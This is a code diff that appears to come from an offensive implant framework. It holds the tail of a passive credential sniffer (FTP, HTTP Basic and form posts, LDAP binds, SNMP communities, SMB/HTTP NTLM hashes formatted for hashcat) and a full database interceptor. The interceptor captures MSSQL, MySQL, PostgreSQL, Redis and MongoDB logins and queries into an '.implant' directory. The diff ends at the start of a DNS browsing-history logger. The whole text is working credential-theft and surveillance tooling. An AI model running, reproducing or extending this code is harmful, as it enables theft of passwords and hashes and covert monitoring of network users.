if len(raw) < 18:
return
eth_type = struct.unpack("!H", raw[16:18])[0]
ip_offset = 18
if eth_type != 0x0800:
return
if len(raw) < ip_offset + 20:
return
ip_hdr = raw[ip_offset:]
ihl = (ip_hdr[0] & 0x0F) * 4
ip_proto = ip_hdr[9]
src_ip = socket.inet_ntoa(ip_hdr[12:16])
dst_ip = socket.inet_ntoa(ip_hdr[16:20])
if ip_proto == 6: # TCP
tcp_offset = ip_offset + ihl
if len(raw) < tcp_offset + 20:
return
src_port, dst_port = struct.unpack("!HH", raw[tcp_offset:tcp_offset + 4])
tcp_hdr_len = ((raw[tcp_offset + 12] >> 4) & 0xF) * 4
payload = raw[tcp_offset + tcp_hdr_len:]
if not payload:
return
# FTP (port 21)
if dst_port == 21 or src_port == 21:
self._parse_ftp(ts, src_ip, dst_ip, dst_port, src_port, payload)
# HTTP (port 80, 8080, 8443, etc.)
if dst_port in (80, 8080, 8000, 8443, 3128):
self._parse_http(ts, src_ip, dst_ip, dst_port, payload)
# LDAP (port 389, 3268)
if dst_port in (389, 3268):
self._parse_ldap(ts, src_ip, dst_ip, dst_port, payload)
# SMB (port 445) — NTLM auth
if dst_port == 445 or src_port == 445:
self._parse_smb_ntlm(ts, src_ip, dst_ip, dst_port, src_port, payload)
elif ip_proto == 17: # UDP
udp_offset = ip_offset + ihl
if len(raw) < udp_offset + 8:
return
src_port, dst_port = struct.unpack("!HH", raw[udp_offset:udp_offset + 4])
payload = raw[udp_offset + 8:]
# SNMP (port 161)
if dst_port == 161:
self._parse_snmp(ts, src_ip, dst_ip, dst_port, payload)
# ------------------------------------------------------------------
# Protocol parsers
# ------------------------------------------------------------------
def _parse_ftp(self, ts: float, src_ip: str, dst_ip: str,
dst_port: int, src_port: int, payload: bytes) -> None:
"""Parse FTP USER and PASS commands."""
try:
text = payload.decode("ascii", errors="ignore").strip()
except Exception:
return
# Client -> Server commands
ftp_target = dst_ip if dst_port == 21 else src_ip
ftp_client = src_ip if dst_port == 21 else dst_ip
ftp_port = 21
session_key = (ftp_client, ftp_target, ftp_port)
if text.upper().startswith("USER "):
username = text[5:].strip()
self._ftp_sessions[session_key] = username
elif text.upper().startswith("PASS "):
password = text[5:].strip()
username = self._ftp_sessions.get(session_key, "")
self._emit_credential(
ts, ftp_client, ftp_target, ftp_port,
"ftp", username, "", "plaintext", password, HASHCAT_MODES["ftp"],
)
def _parse_http(self, ts: float, src_ip: str, dst_ip: str,
dst_port: int, payload: bytes) -> None:
"""Parse HTTP Authorization headers and form POST data."""
try:
text = payload.decode("utf-8", errors="ignore")
except Exception:
return
# HTTP Basic auth
basic_match = re.search(
r"Authorization:\s*Basic\s+([A-Za-z0-9+/=]+)", text, re.IGNORECASE
)
if basic_match:
try:
decoded = base64.b64decode(basic_match.group(1)).decode("utf-8", errors="replace")
if ":" in decoded:
username, password = decoded.split(":", 1)
self._emit_credential(
ts, src_ip, dst_ip, dst_port,
"http_basic", username, "", "plaintext", password,
HASHCAT_MODES["http_basic"],
)
except Exception:
pass
# NTLM over HTTP
ntlm_match = re.search(
r"Authorization:\s*NTLM\s+([A-Za-z0-9+/=]+)", text, re.IGNORECASE
)
if ntlm_match:
self._parse_ntlm_token(
ts, src_ip, dst_ip, dst_port, "http_ntlm",
base64.b64decode(ntlm_match.group(1)),
)
# HTTP form POST with password fields
if text.startswith("POST "):
content_type_match = re.search(
r"Content-Type:\s*application/x-www-form-urlencoded", text, re.IGNORECASE
)
if content_type_match:
# Find body (after double CRLF)
body_start = text.find("\r\n\r\n")
if body_start == -1:
body_start = text.find("\n\n")
if body_start >= 0:
body = text[body_start:].strip()
self._parse_form_post(ts, src_ip, dst_ip, dst_port, body)
def _parse_form_post(self, ts: float, src_ip: str, dst_ip: str,
dst_port: int, body: str) -> None:
"""Extract username/password from URL-encoded form POST."""
params = {}
for pair in body.split("&"):
if "=" in pair:
key, value = pair.split("=", 1)
params[key.lower()] = value
# Look for common password field names
password_keys = ["password", "passwd", "pass", "pwd", "user_password",
"login_password", "secret"]
username_keys = ["username", "user", "login", "email", "userid",
"login_name", "user_name"]
password = ""
username = ""
for pk in password_keys:
if pk in params:
password = params[pk]
break
if not password:
return
for uk in username_keys:
if uk in params:
username = params[uk]
break
self._emit_credential(
ts, src_ip, dst_ip, dst_port,
"http_form", username, "", "plaintext", password,
HASHCAT_MODES["http_form"],
)
def _parse_snmp(self, ts: float, src_ip: str, dst_ip: str,
dst_port: int, payload: bytes) -> None:
"""Extract SNMP v1/v2c community strings from packets."""
if len(payload) < 10:
return
# SNMP is BER/ASN.1 encoded
# Sequence tag: 0x30
if payload[0] != 0x30:
return
offset = 1
# Skip sequence length
if payload[offset] & 0x80:
num_len_bytes = payload[offset] & 0x7F
offset += 1 + num_len_bytes
else:
offset += 1
# Version: Integer tag (0x02)
if offset >= len(payload) or payload[offset] != 0x02:
return
offset += 1
ver_len = payload[offset]
offset += 1
if offset + ver_len > len(payload):
return
version = int.from_bytes(payload[offset:offset + ver_len], "big")
offset += ver_len
# Only v1 (0) and v2c (1) have community strings
if version > 1:
return
# Community string: OctetString tag (0x04)
if offset >= len(payload) or payload[offset] != 0x04:
return
offset += 1
if offset >= len(payload):
return
comm_len = payload[offset]
offset += 1
if offset + comm_len > len(payload):
return
community = payload[offset:offset + comm_len].decode("ascii", errors="replace")
# Skip trivially useless ones
if community.lower() in ("", "public"):
return
self._emit_credential(
ts, src_ip, dst_ip, dst_port,
"snmp", "", "", "community_string", community,
HASHCAT_MODES["snmp"],
)
def _parse_ldap(self, ts: float, src_ip: str, dst_ip: str,
dst_port: int, payload: bytes) -> None:
"""Extract LDAP simple bind credentials."""
if len(payload) < 14:
return
# LDAP messages are BER encoded
# Sequence (0x30)
if payload[0] != 0x30:
return
offset = 1
# Skip outer sequence length
seq_len, offset = self._ber_length(payload, offset)
if seq_len < 0:
return
# MessageID: Integer (0x02)
if offset >= len(payload) or payload[offset] != 0x02:
return
offset += 1
id_len, offset = self._ber_length(payload, offset)
if id_len < 0:
return
offset += id_len
# BindRequest: Application[0] = 0x60
if offset >= len(payload) or payload[offset] != 0x60:
return
offset += 1
bind_len, offset = self._ber_length(payload, offset)
if bind_len < 0:
return
# Version: Integer (0x02)
if offset >= len(payload) or payload[offset] != 0x02:
return
offset += 1
ver_len, offset = self._ber_length(payload, offset)
if ver_len < 0:
return
offset += ver_len
# DN: OctetString (0x04)
if offset >= len(payload) or payload[offset] != 0x04:
return
offset += 1
dn_len, offset = self._ber_length(payload, offset)
if dn_len < 0 or offset + dn_len > len(payload):
return
dn = payload[offset:offset + dn_len].decode("utf-8", errors="replace")
offset += dn_len
# Auth choice: Simple = Context[0] = 0x80
if offset >= len(payload) or payload[offset] != 0x80:
return
offset += 1
pass_len, offset = self._ber_length(payload, offset)
if pass_len < 0 or offset + pass_len > len(payload):
return
password = payload[offset:offset + pass_len].decode("utf-8", errors="replace")
if not password:
return
self._emit_credential(
ts, src_ip, dst_ip, dst_port,
"ldap_simple", dn, "", "plaintext", password,
HASHCAT_MODES["ldap_simple"],
)
def _parse_smb_ntlm(self, ts: float, src_ip: str, dst_ip: str,
dst_port: int, src_port: int, payload: bytes) -> None:
"""Extract NTLM auth from SMB2 session setup messages."""
# SMB2 header: 0xFE 'S' 'M' 'B'
# Search for NTLMSSP signature in payload
ntlmssp_offset = payload.find(b"NTLMSSP\x00")
if ntlmssp_offset < 0:
return
ntlm_data = payload[ntlmssp_offset:]
target_ip = dst_ip if dst_port == 445 else src_ip
client_ip = src_ip if dst_port == 445 else dst_ip
self._parse_ntlm_token(ts, client_ip, target_ip, 445, "smb", ntlm_data)
def _parse_ntlm_token(self, ts: float, src_ip: str, dst_ip: str,
dst_port: int, service: str, data: bytes) -> None:
"""Parse NTLMSSP authentication message (Type 3) for NTLMv1/v2 hashes."""
if len(data) < 12:
return
# Check NTLMSSP signature
if data[:8] != b"NTLMSSP\x00":
return
msg_type = struct.unpack("<I", data[8:12])[0]
if msg_type == 3: # AUTHENTICATE_MESSAGE
if len(data) < 72:
return
# Parse field offsets
lm_len = struct.unpack("<H", data[12:14])[0]
lm_off = struct.unpack("<I", data[16:20])[0]
nt_len = struct.unpack("<H", data[20:22])[0]
nt_off = struct.unpack("<I", data[24:28])[0]
domain_len = struct.unpack("<H", data[28:30])[0]
domain_off = struct.unpack("<I", data[32:36])[0]
user_len = struct.unpack("<H", data[36:38])[0]
user_off = struct.unpack("<I", data[40:44])[0]
# Extract fields
try:
domain = data[domain_off:domain_off + domain_len].decode("utf-16-le", errors="replace")
username = data[user_off:user_off + user_len].decode("utf-16-le", errors="replace")
except Exception:
return
if not username:
return
# Determine NTLMv1 vs NTLMv2
if nt_len == 24:
# NTLMv1
nt_hash = data[nt_off:nt_off + nt_len].hex()
lm_hash = data[lm_off:lm_off + lm_len].hex() if lm_len > 0 else ""
cred_value = f"{username}::{domain}:{lm_hash}:{nt_hash}:"
cred_type = "ntlmv1"
hashcat_mode = HASHCAT_MODES["ntlmv1"]
elif nt_len > 24:
# NTLMv2
nt_response = data[nt_off:nt_off + nt_len]
nt_proof = nt_response[:16].hex()
nt_blob = nt_response[16:].hex()
# Server challenge would ideally come from Type 2 message
# For now, format as hashcat-compatible partial
cred_value = f"{username}::{domain}::{nt_proof}:{nt_blob}"
cred_type = "ntlmv2"
hashcat_mode = HASHCAT_MODES["ntlmv2"]
else:
return
self._emit_credential(
ts, src_ip, dst_ip, dst_port,
service, username, domain, cred_type, cred_value, hashcat_mode,
)
@staticmethod
def _ber_length(data: bytes, offset: int) -> tuple:
"""Read a BER-encoded length. Returns (length, new_offset) or (-1, offset) on error."""
if offset >= len(data):
return -1, offset
first = data[offset]
offset += 1
if first & 0x80 == 0:
return first, offset
num_bytes = first & 0x7F
if num_bytes == 0 or offset + num_bytes > len(data):
return -1, offset
length = int.from_bytes(data[offset:offset + num_bytes], "big")
return length, offset + num_bytes
# ------------------------------------------------------------------
# Credential emission
# ------------------------------------------------------------------
def _emit_credential(self, ts: float, src_ip: str, target_ip: str,
target_port: int, service: str, username: str,
domain: str, cred_type: str, cred_value: str,
hashcat_mode: int) -> None:
"""Buffer credential for SQLite and immediately publish bus event."""
self._total_creds += 1
record = (ts, src_ip, target_ip, target_port, service,
username, domain, cred_type, cred_value, hashcat_mode)
with self._buffer_lock:
self._buffer.append(record)
if len(self._buffer) >= self.BATCH_SIZE:
self._flush_buffer()
# Immediate bus notification
emit_credential_found(self.bus, self.name, {
"source_ip": src_ip,
"target_ip": target_ip,
"target_port": target_port,
"service": service,
"username": username,
"domain": domain,
"cred_type": cred_type,
"hashcat_mode": hashcat_mode,
})
logger.info(
"CREDENTIAL: %s %s@%s:%d (%s/%s)",
service, username, target_ip, target_port, cred_type,
f"hashcat -m {hashcat_mode}" if hashcat_mode else "plaintext",
)
# ------------------------------------------------------------------
# Buffer flush
# ------------------------------------------------------------------
def _flush_loop(self) -> None:
while self._running:
time.sleep(self.FLUSH_INTERVAL)
try:
self._flush_buffer()
except Exception:
logger.exception("Credential flush error")
def _flush_buffer(self) -> None:
with self._buffer_lock:
batch = list(self._buffer)
self._buffer.clear()
if not batch or not self._db_conn:
return
try:
self._db_conn.executemany(
"INSERT INTO credentials "
"(timestamp, source_ip, target_ip, target_port, service, "
"username, domain, cred_type, cred_value, hashcat_mode) "
"VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)",
batch,
)
self._db_conn.commit()
except Exception:
logger.exception("Failed to flush %d credentials", len(batch))
+698
View File
@@ -0,0 +1,698 @@
#!/usr/bin/env python3
"""Database protocol interceptor — passive database query and auth monitoring.
Parses login packets and query metadata for:
- MSSQL TDS (1433): TDS7 Login packet, SQL batch text
- MySQL (3306): Handshake, Login Request, COM_QUERY
- PostgreSQL (5432): Startup message, Simple Query
- Redis (6379): AUTH command, key operations
- MongoDB (27017): OP_MSG saslStart, find operations
Logs queries but NOT full result sets to avoid excessive data.
"""
import logging
import os
import socket
import sqlite3
import struct
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.credential_encryption import emit_credential_found
logger = logging.getLogger(__name__)
# TDS packet types
TDS_SQL_BATCH = 0x01
TDS_LOGIN7 = 0x10
TDS_PRELOGIN = 0x12
# MySQL commands
MYSQL_COM_QUERY = 0x03
MYSQL_COM_INIT_DB = 0x02
# PostgreSQL message types
PG_STARTUP = 0x00 # No type byte — identified by structure
PG_SIMPLE_QUERY = ord('Q')
PG_PASSWORD = ord('p')
# Redis inline delimiters
REDIS_CRLF = b'\r\n'
# MongoDB opcodes
MONGO_OP_MSG = 2013
_DB_INIT = """
CREATE TABLE IF NOT EXISTS db_queries (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp REAL NOT NULL,
source_ip TEXT NOT NULL,
dest_ip TEXT NOT NULL,
db_type TEXT NOT NULL,
username TEXT DEFAULT '',
database TEXT DEFAULT '',
query_text TEXT DEFAULT '',
operation TEXT NOT NULL
);
CREATE INDEX IF NOT EXISTS idx_dbq_type ON db_queries(db_type);
CREATE INDEX IF NOT EXISTS idx_dbq_user ON db_queries(username);
CREATE INDEX IF NOT EXISTS idx_dbq_ts ON db_queries(timestamp);
"""
FLUSH_INTERVAL = 45
MAX_QUERY_LEN = 2000 # Truncate queries beyond this
class DBInterceptor(BaseModule):
"""Passively intercept database authentication and queries."""
name = "db_interceptor"
module_type = "passive"
priority = 150
requires_root = True
requires_capture_bus = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._read_thread: Optional[threading.Thread] = None
self._flush_thread: Optional[threading.Thread] = None
self._db_path = self._resolve_db_path()
self._db_conn: Optional[sqlite3.Connection] = None
self._write_buffer: list[tuple] = []
self._buffer_lock = threading.Lock()
self._stats = {
"packets_processed": 0,
"mssql_events": 0,
"mysql_events": 0,
"postgres_events": 0,
"redis_events": 0,
"mongodb_events": 0,
"logins_captured": 0,
"queries_captured": 0,
}
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._init_db()
self._capture_bus = self.config.get("_capture_bus")
if self._capture_bus is None:
logger.error("DBInterceptor requires _capture_bus in config")
return
bpf = "port 1433 or port 3306 or port 5432 or port 6379 or port 27017"
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter=bpf, queue_depth=5000
)
self._running = True
self._start_time = time.time()
self._pid = os.getpid()
self._read_thread = threading.Thread(
target=self._read_loop, daemon=True, name="sensor-dbi-read"
)
self._read_thread.start()
self._flush_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="sensor-dbi-flush"
)
self._flush_thread.start()
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
logger.info("DBInterceptor started")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
for t in (self._read_thread, self._flush_thread):
if t and t.is_alive():
t.join(timeout=5.0)
self._flush_buffer()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
logger.info("DBInterceptor stopped — stats: %s", self._stats)
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
**self._stats,
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Packet processing
# ------------------------------------------------------------------
def _read_loop(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, pkt = result
self._stats["packets_processed"] += 1
try:
self._process_packet(pkt, ts)
except Exception:
logger.debug("Error processing DB packet", exc_info=True)
def _process_packet(self, pkt: bytes, ts: float) -> None:
"""Route packet to the correct database parser based on port."""
if len(pkt) < 54:
return
ethertype = struct.unpack("!H", pkt[12:14])[0]
eth_offset = 14
if ethertype == 0x8100:
if len(pkt) < 58:
return
ethertype = struct.unpack("!H", pkt[16:18])[0]
eth_offset = 18
if ethertype != 0x0800:
return
ip_header = pkt[eth_offset:]
if len(ip_header) < 20:
return
ihl = (ip_header[0] & 0x0F) * 4
ip_proto = ip_header[9]
if ip_proto != 6: # TCP only
return
src_ip = socket.inet_ntoa(ip_header[12:16])
dst_ip = socket.inet_ntoa(ip_header[16:20])
if len(ip_header) < ihl + 20:
return
src_port, dst_port = struct.unpack("!HH", ip_header[ihl:ihl + 4])
tcp_data_off = ((ip_header[ihl + 12] >> 4) & 0xF) * 4
payload = ip_header[ihl + tcp_data_off:]
if len(payload) < 4:
return
# Route by destination port (client -> server)
if dst_port == 1433 or src_port == 1433:
self._parse_mssql(payload, src_ip, dst_ip, dst_port == 1433, ts)
elif dst_port == 3306 or src_port == 3306:
self._parse_mysql(payload, src_ip, dst_ip, dst_port == 3306, ts)
elif dst_port == 5432 or src_port == 5432:
self._parse_postgres(payload, src_ip, dst_ip, dst_port == 5432, ts)
elif dst_port == 6379 or src_port == 6379:
self._parse_redis(payload, src_ip, dst_ip, dst_port == 6379, ts)
elif dst_port == 27017 or src_port == 27017:
self._parse_mongodb(payload, src_ip, dst_ip, dst_port == 27017, ts)
# ------------------------------------------------------------------
# MSSQL TDS parser
# ------------------------------------------------------------------
def _parse_mssql(self, payload: bytes, src_ip: str, dst_ip: str,
is_to_server: bool, ts: float) -> None:
"""Parse MSSQL TDS packets."""
if len(payload) < 8:
return
# TDS header: type(1), status(1), length(2), SPID(2), packet(1), window(1)
tds_type = payload[0]
tds_len = struct.unpack("!H", payload[2:4])[0]
if tds_type == TDS_LOGIN7 and is_to_server and len(payload) >= 36:
self._parse_tds_login7(payload[8:], src_ip, dst_ip, ts)
elif tds_type == TDS_SQL_BATCH and is_to_server:
# SQL batch: header group + SQL text (all Unicode LE after 8-byte TDS header)
self._parse_tds_sql_batch(payload[8:], src_ip, dst_ip, ts)
def _parse_tds_login7(self, data: bytes, src_ip: str, dst_ip: str,
ts: float) -> None:
"""Parse TDS7 Login packet for username, hostname, app name."""
if len(data) < 36:
return
self._stats["mssql_events"] += 1
self._stats["logins_captured"] += 1
try:
# TDS7 Login: fixed header of 36 bytes then variable data
# HostName offset(2) + length(2) at offset 8
# UserName offset(2) + length(2) at offset 16
# AppName offset(2) + length(2) at offset 24
# ServerName offset(2) + length(2) at offset 28
# Database offset(2) + length(2) at offset 40 (but we have 36-byte minimum)
hostname_off = struct.unpack("<H", data[8:10])[0]
hostname_len = struct.unpack("<H", data[10:12])[0]
username_off = struct.unpack("<H", data[16:18])[0]
username_len = struct.unpack("<H", data[18:20])[0]
appname_off = struct.unpack("<H", data[24:26])[0]
appname_len = struct.unpack("<H", data[26:28])[0]
# Offsets are in chars (UTF-16LE = 2 bytes per char)
username = self._read_utf16le(data, username_off, username_len)
hostname = self._read_utf16le(data, hostname_off, hostname_len)
appname = self._read_utf16le(data, appname_off, appname_len)
database = ""
if len(data) >= 44:
db_off = struct.unpack("<H", data[40:42])[0]
db_len = struct.unpack("<H", data[42:44])[0]
database = self._read_utf16le(data, db_off, db_len)
self._record_query(
ts, src_ip, dst_ip, "mssql", username, database,
f"LOGIN hostname={hostname} app={appname}", "login"
)
emit_credential_found(self.bus, self.name, {
"source": "mssql_tds_login",
"username": username,
"hostname": hostname,
"source_ip": src_ip,
"dest_ip": dst_ip,
"database": database,
})
except Exception:
logger.debug("Failed to parse TDS Login7", exc_info=True)
def _parse_tds_sql_batch(self, data: bytes, src_ip: str, dst_ip: str,
ts: float) -> None:
"""Parse TDS SQL Batch for query text."""
if len(data) < 4:
return
# TDS SQL Batch: ALL_HEADERS (variable) + SQL text
# ALL_HEADERS starts with TotalLength(4)
total_headers_len = struct.unpack("<I", data[0:4])[0]
if total_headers_len > len(data):
total_headers_len = 0
sql_bytes = data[total_headers_len:]
if not sql_bytes:
return
try:
query = sql_bytes.decode("utf-16-le", errors="replace")
except Exception:
query = sql_bytes.decode("ascii", errors="replace")
query = query.strip('\x00').strip()[:MAX_QUERY_LEN]
if query:
self._stats["mssql_events"] += 1
self._stats["queries_captured"] += 1
self._record_query(ts, src_ip, dst_ip, "mssql", "", "", query, "query")
@staticmethod
def _read_utf16le(data: bytes, char_offset: int, char_length: int) -> str:
"""Read UTF-16LE string from TDS data using char offset/length."""
byte_off = char_offset * 2
byte_len = char_length * 2
if byte_off + byte_len > len(data):
return ""
try:
return data[byte_off:byte_off + byte_len].decode("utf-16-le", errors="replace")
except Exception:
return ""
# ------------------------------------------------------------------
# MySQL parser
# ------------------------------------------------------------------
def _parse_mysql(self, payload: bytes, src_ip: str, dst_ip: str,
is_to_server: bool, ts: float) -> None:
"""Parse MySQL protocol packets."""
if len(payload) < 5:
return
# MySQL packet: length(3 LE) + sequence_id(1) + payload
pkt_len = struct.unpack("<I", payload[0:3] + b'\x00')[0]
seq_id = payload[3]
mysql_data = payload[4:]
if not mysql_data:
return
if not is_to_server:
# Server -> client: check for Handshake (protocol version 10)
if mysql_data[0] == 10 and seq_id == 0:
self._parse_mysql_handshake(mysql_data, src_ip, dst_ip, ts)
return
# Client -> server
cmd = mysql_data[0]
if cmd == MYSQL_COM_QUERY and len(mysql_data) > 1:
query = mysql_data[1:min(len(mysql_data), MAX_QUERY_LEN + 1)].decode(
"utf-8", errors="replace"
)
self._stats["mysql_events"] += 1
self._stats["queries_captured"] += 1
self._record_query(ts, src_ip, dst_ip, "mysql", "", "", query, "query")
elif seq_id == 1 and len(mysql_data) >= 32:
# Login Request (HandshakeResponse)
self._parse_mysql_login(mysql_data, src_ip, dst_ip, ts)
def _parse_mysql_handshake(self, data: bytes, src_ip: str, dst_ip: str,
ts: float) -> None:
"""Parse MySQL server Handshake for version info."""
# Protocol version (1) + server version (null-terminated)
if len(data) < 5:
return
null_idx = data.find(b'\x00', 1)
if null_idx < 0:
return
server_version = data[1:null_idx].decode("ascii", errors="replace")
self._stats["mysql_events"] += 1
# Record as informational
self._record_query(
ts, dst_ip, src_ip, "mysql", "", "",
f"SERVER_HANDSHAKE version={server_version}", "handshake"
)
def _parse_mysql_login(self, data: bytes, src_ip: str, dst_ip: str,
ts: float) -> None:
"""Parse MySQL Login Request (HandshakeResponse41)."""
if len(data) < 32:
return
try:
# Client capabilities (4 bytes), max packet (4), charset (1),
# reserved (23 bytes), username (null-terminated)
username_start = 32
null_idx = data.find(b'\x00', username_start)
if null_idx < 0:
return
username = data[username_start:null_idx].decode("utf-8", errors="replace")
# After username + null + auth data, there may be a database name
database = ""
# Skip auth response length + data
pos = null_idx + 1
if pos < len(data):
auth_len = data[pos]
pos += 1 + auth_len
if pos < len(data):
db_null = data.find(b'\x00', pos)
if db_null > pos:
database = data[pos:db_null].decode("utf-8", errors="replace")
self._stats["mysql_events"] += 1
self._stats["logins_captured"] += 1
self._record_query(ts, src_ip, dst_ip, "mysql", username, database, "", "login")
emit_credential_found(self.bus, self.name, {
"source": "mysql_login",
"username": username,
"database": database,
"source_ip": src_ip,
"dest_ip": dst_ip,
})
except Exception:
logger.debug("Failed to parse MySQL login", exc_info=True)
# ------------------------------------------------------------------
# PostgreSQL parser
# ------------------------------------------------------------------
def _parse_postgres(self, payload: bytes, src_ip: str, dst_ip: str,
is_to_server: bool, ts: float) -> None:
"""Parse PostgreSQL protocol messages."""
if not is_to_server or len(payload) < 8:
return
# Check for Startup Message: length(4) + protocol_version(4)
# Protocol version 3.0 = 0x00030000
if len(payload) >= 8:
msg_len = struct.unpack("!I", payload[0:4])[0]
proto_ver = struct.unpack("!I", payload[4:8])[0]
if proto_ver == 0x00030000 and msg_len > 8:
# Startup message: parse key=value pairs
self._parse_pg_startup(payload[8:msg_len], src_ip, dst_ip, ts)
return
# Simple Query: type='Q' + length(4) + query_string
if payload[0] == PG_SIMPLE_QUERY and len(payload) >= 6:
query_len = struct.unpack("!I", payload[1:5])[0]
query = payload[5:min(5 + query_len - 1, 5 + MAX_QUERY_LEN)].decode(
"utf-8", errors="replace"
).rstrip('\x00')
if query:
self._stats["postgres_events"] += 1
self._stats["queries_captured"] += 1
self._record_query(ts, src_ip, dst_ip, "postgres", "", "", query, "query")
def _parse_pg_startup(self, data: bytes, src_ip: str, dst_ip: str,
ts: float) -> None:
"""Parse PostgreSQL Startup Message key-value pairs."""
username = ""
database = ""
pos = 0
while pos < len(data) - 1:
null_idx = data.find(b'\x00', pos)
if null_idx < 0:
break
key = data[pos:null_idx].decode("utf-8", errors="replace")
pos = null_idx + 1
val_null = data.find(b'\x00', pos)
if val_null < 0:
break
value = data[pos:val_null].decode("utf-8", errors="replace")
pos = val_null + 1
if key == "user":
username = value
elif key == "database":
database = value
if not key: # Terminal null
break
if username:
self._stats["postgres_events"] += 1
self._stats["logins_captured"] += 1
self._record_query(ts, src_ip, dst_ip, "postgres", username, database, "", "login")
emit_credential_found(self.bus, self.name, {
"source": "postgres_startup",
"username": username,
"database": database,
"source_ip": src_ip,
"dest_ip": dst_ip,
})
# ------------------------------------------------------------------
# Redis parser
# ------------------------------------------------------------------
def _parse_redis(self, payload: bytes, src_ip: str, dst_ip: str,
is_to_server: bool, ts: float) -> None:
"""Parse Redis RESP protocol for AUTH commands and key operations."""
if not is_to_server or len(payload) < 3:
return
# RESP: commands start with * (array) followed by count
if payload[0:1] == b'*':
args = self._parse_resp_array(payload)
if not args:
return
cmd = args[0].upper() if args else ""
if cmd == "AUTH":
# AUTH [username] password
password = args[-1] if len(args) >= 2 else ""
username = args[1] if len(args) >= 3 else ""
self._stats["redis_events"] += 1
self._stats["logins_captured"] += 1
self._record_query(ts, src_ip, dst_ip, "redis", username, "", "AUTH ***", "login")
emit_credential_found(self.bus, self.name, {
"source": "redis_auth",
"username": username,
"source_ip": src_ip,
"dest_ip": dst_ip,
})
elif cmd in ("GET", "SET", "HGET", "HSET", "DEL", "KEYS",
"MGET", "MSET", "LPUSH", "RPUSH", "SADD", "ZADD"):
query = " ".join(args[:3]) # Command + first 2 args max
self._stats["redis_events"] += 1
self._stats["queries_captured"] += 1
self._record_query(
ts, src_ip, dst_ip, "redis", "", "",
query[:MAX_QUERY_LEN], "query"
)
def _parse_resp_array(self, data: bytes) -> list:
"""Parse a RESP array into a list of string arguments."""
args = []
lines = data.split(REDIS_CRLF)
if not lines or not lines[0].startswith(b'*'):
return args
try:
count = int(lines[0][1:])
except ValueError:
return args
idx = 1
while len(args) < count and idx < len(lines) - 1:
if lines[idx].startswith(b'$'):
try:
str_len = int(lines[idx][1:])
except ValueError:
break
idx += 1
if idx < len(lines):
args.append(lines[idx].decode("utf-8", errors="replace")[:MAX_QUERY_LEN])
idx += 1
else:
# Inline format
args.append(lines[idx].decode("utf-8", errors="replace"))
idx += 1
return args
# ------------------------------------------------------------------
# MongoDB parser
# ------------------------------------------------------------------
def _parse_mongodb(self, payload: bytes, src_ip: str, dst_ip: str,
is_to_server: bool, ts: float) -> None:
"""Parse MongoDB wire protocol for auth and find operations."""
if len(payload) < 16:
return
# MongoDB wire protocol header: length(4 LE) + requestID(4) + responseTo(4) + opCode(4)
msg_len = struct.unpack("<I", payload[0:4])[0]
opcode = struct.unpack("<I", payload[12:16])[0]
if opcode != MONGO_OP_MSG or len(payload) < 21:
return
if not is_to_server:
return
# OP_MSG: flagBits(4) + sections
# Section kind 0: body (BSON document)
sections_start = 20
if sections_start >= len(payload):
return
section_kind = payload[sections_start]
if section_kind != 0:
return
bson_data = payload[sections_start + 1:]
if len(bson_data) < 5:
return
# Minimal BSON parsing: look for command keys
bson_str = bson_data.decode("utf-8", errors="replace")
if "saslStart" in bson_str or "authenticate" in bson_str:
self._stats["mongodb_events"] += 1
self._stats["logins_captured"] += 1
# Extract mechanism if visible
mechanism = ""
if "SCRAM-SHA" in bson_str:
mechanism = "SCRAM-SHA"
elif "PLAIN" in bson_str:
mechanism = "PLAIN"
self._record_query(
ts, src_ip, dst_ip, "mongodb", "", "",
f"AUTH mechanism={mechanism}", "login"
)
elif "find" in bson_str or "aggregate" in bson_str or "insert" in bson_str:
# Extract collection name heuristically
operation = "find" if "find" in bson_str else ("aggregate" if "aggregate" in bson_str else "insert")
self._stats["mongodb_events"] += 1
self._stats["queries_captured"] += 1
self._record_query(
ts, src_ip, dst_ip, "mongodb", "", "",
f"{operation} (BSON)", "query"
)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _resolve_db_path(self) -> str:
base = self.config.get("db_dir", os.path.join(
os.path.expanduser("~"), ".implant"
))
return os.path.join(base, "db_interceptor.db")
def _init_db(self) -> None:
Path(self._db_path).parent.mkdir(parents=True, exist_ok=True)
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript(_DB_INIT)
self._db_conn.commit()
def _record_query(self, ts: float, src_ip: str, dst_ip: str,
db_type: str, username: str, database: str,
query_text: str, operation: str) -> None:
with self._buffer_lock:
self._write_buffer.append((
ts, src_ip, dst_ip, db_type, username, database,
query_text[:MAX_QUERY_LEN], operation
))
def _flush_buffer(self) -> None:
with self._buffer_lock:
batch = list(self._write_buffer)
self._write_buffer.clear()
if not batch or not self._db_conn:
return
try:
with self._db_conn:
self._db_conn.executemany(
"""INSERT INTO db_queries
(timestamp, source_ip, dest_ip, db_type, username,
database, query_text, operation)
VALUES (?, ?, ?, ?, ?, ?, ?, ?)""",
batch,
)
except Exception:
logger.exception("Failed to flush DB queries")
def _flush_loop(self) -> None:
while self._running:
time.sleep(FLUSH_INTERVAL)
try:
self._flush_buffer()
except Exception:
logger.exception("Flush loop error")
+401
View File
@@ -0,0 +1,401 @@
#!/usr/bin/env python3
"""Passive DNS query logger — builds per-host browsing history from wire.
